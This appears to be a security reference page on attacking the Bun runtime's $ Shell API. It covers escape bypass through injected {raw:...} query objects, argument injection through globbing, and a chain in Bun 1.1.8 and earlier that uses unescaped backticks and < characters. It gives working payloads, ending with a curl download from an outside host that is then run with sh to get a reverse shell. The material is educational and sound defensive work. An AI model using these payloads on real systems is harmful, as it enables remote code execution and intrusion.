Bun

An alternative JavaScript runtime with unique libraries and quirks

JavaScriptNodeJS

Description

Bun is an alternative runtime to NodeJS. It aims to be faster, and pack all tooling into one command: bun. This re-implementation comes with some quirks, and the added features can have vulnerabilities too. This page will describe some of them.

Bun $ Shell

Bun is an alternative JavaScript runtime just like NodeJS, but has some more native packages. One such API is the $ Shell API that allows running shell commands safely with Tagged templates. User input as a string will be escaped properly to prevent injection of more commands.

Command Injection using Objects

Take a look at the following example:

Example
import express from "express";
import { $ } from "bun";

app.get("/", async (req, res) => {
  const dir = req.query.dir || "";

  res.set("Content-Type", "text/plain");
  try {
    const output = await $`ls /${dir}`.text();

    res.send(output);
  } catch (err) {
    console.error(err);
    res.status(500).send(`${err.message}\n${err.stderr}`);
  }
});

Running this, we can try to access /?dir=$(id) in hopes of command substitution, but we get an error instead:

ls: /$(id): No such file or directory

The same will happen for any command injection attempt. There are however, edge cases where this is exploitable, and the example above is surprisingly one of them. The problem lies in an obscure functionality that disables the escaping of arguments: $.escape (escape strings)

In that section of the documentation an interesting example is shown:

If you do not want your string to be escaped, wrap it in a { raw: 'str' } object:

import { $ } from "bun";

await $`echo ${{ raw: '$(foo) `bar` "baz"' }}`;
// => bun: command not found: foo
// => bun: command not found: bar
// => baz

If the value in the tagged template is an object with a raw key, the value is not escaped. If we are able to abuse any functionality to make our input into an object, we can include this raw: key ourselves to bypass the filtering. In Express, this is possible by using a more complex query string that can create objects like ?dir[raw]=$(id) becoming { raw: "$(id)" }. This works!

Failed with exit code 1
ls: groups=1000(user): No such file or directory
ls: /uid=1000(user): No such file or directory
ls: gid=1000(user): No such file or directory

Many other frameworks allow creating an object like this from a query string, or even directly from JSON input in a request body.

Globbing

One more interesting functionality in Bun is that globbing is partially implemented for filename expansion. This allows inputs like * to match all files, and more specific patterns like *.txt to match only files ending in .txt. Take the following example:

const string = String(req.query.string || "");
const output = await $`echo ${string}`.text();

The above code should directly echo back your input, but natively it allows wildcards to match any local filenames, even in different directories:

?string=*
package.json node_modules tsconfig.json bun.lockb README.md index.ts
?string=../*
../project1 ../project2 ../project3
?string=/etc/*
/etc/alternatives /etc/apt /etc/bash.bashrc ...

Note that depending on the filenames matched, this can even inject multiple arguments into a place where normally only one argument should be. The following Python script can be used to test this:

args.py
#!/usr/bin/env python3
import sys
print(sys.argv[1:])
const string = String(req.query.string || "");
const output = await $`./args.py ${string}`.text();

The above will generate multiple arguments in the place of ${string}, and if you have control over the filenames matched, it may allow you to perform some more complex Argument Injection (Wildcards) attacks:

?string=a%20b%20c
# Notice a single argument normally:
['1 2 3']
?string=*
# Notice multiple arguments using wildcard:
['package.json', 'args.py', 'node_modules', 'tsconfig.json', 'bun.lockb', 'README.md', 'index.ts']

Bun <= v1.1.8 - Forgotten characters

In older versions of Bun, the first implementation of escaping shell characters lacked a few key characters that should have been escaped. Namely: ` and < which can still cause trouble in the command line. A commit from version 1.1.8 to 1.1.9 adds these characters to the escape list.

Diff 1.1.8 vs 1.1.9
- const SPECIAL_CHARS = [_]u8{ '$', '>', '&', '|', '=', ';', '\n', '{', '}', ',', '(', ')', '\\', '\"', ' ', '\'' };
+ const SPECIAL_CHARS = [_]u8{ '~', '[', ']', '#', ';', '\n', '*', '{', ',', '}', '`', '$', '=', '(', ')', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '|', '>', '<', '&', '\'', '"', ' ', '\\' };

Before this commit, we could abuse weird parsing of the shell to write files, and execute commands. Take the following vulnerable example:

Vulnerable Example
import { $ } from "bun";

const server = Bun.serve({
    host: "0.0.0.0",
    port: 1337,
    async fetch(req) {
        const msg = (await req.formData()).get("msg");
        if (typeof msg !== "string") {
            return new Response("msg is not a string", { status: 400 });
        }

        const output = await $`echo ${msg}`.text();
        return new Response(output, { headers: { "Content-Type": "text/plain" } });
    }
});

In the above code snippet, any input inside msg= will be passed to echo and returned as a response. The shell API is used correctly and should not allow for command injection. It is however vulnerable to RCE in this older version!

First, you should know a weird parsing behaviour allowing you to write the output of a command to a file. By piping STDOUT (1) from an input file with <, the output of the echo command is appended to the file. Note that spaces are not allowed, but the payload below works:

Payload
anything1</tmp/foo
Result
$ cat /tmp/foo
anything
Payload 2
some%09tabs1</tmp/foo
Result
$ cat /tmp/foo
anything
some    tabs

Tabs (%09) are allowed, and can be used as shell argument separators.

Next, backticks (`) are not escaped either. These allow for execution of arbitrary commands, just without arguments. By passing the just-written file as input to sh, we will be able to execute arbitrary commands with arguments.

Payload
`sh</tmp/foo`

In the first step, we could have written a file with some commands to execute a reverse shell. Keep in mind that there are still some limitations around what content may be written to the file, as it is directly the output of the original command. You will be able to use only the following special characters in your input before the <:

Allowed Characters
\t (%09)
#%!+.-/:?[]^_~
0-9a-zA-Z
Full Exploit
msg=curl%09host.docker.internal:8000%09-o%09/tmp/shell1</tmp/cmd
msg=`sh</tmp/cmd`
msg=`sh</tmp/shell`

Last updated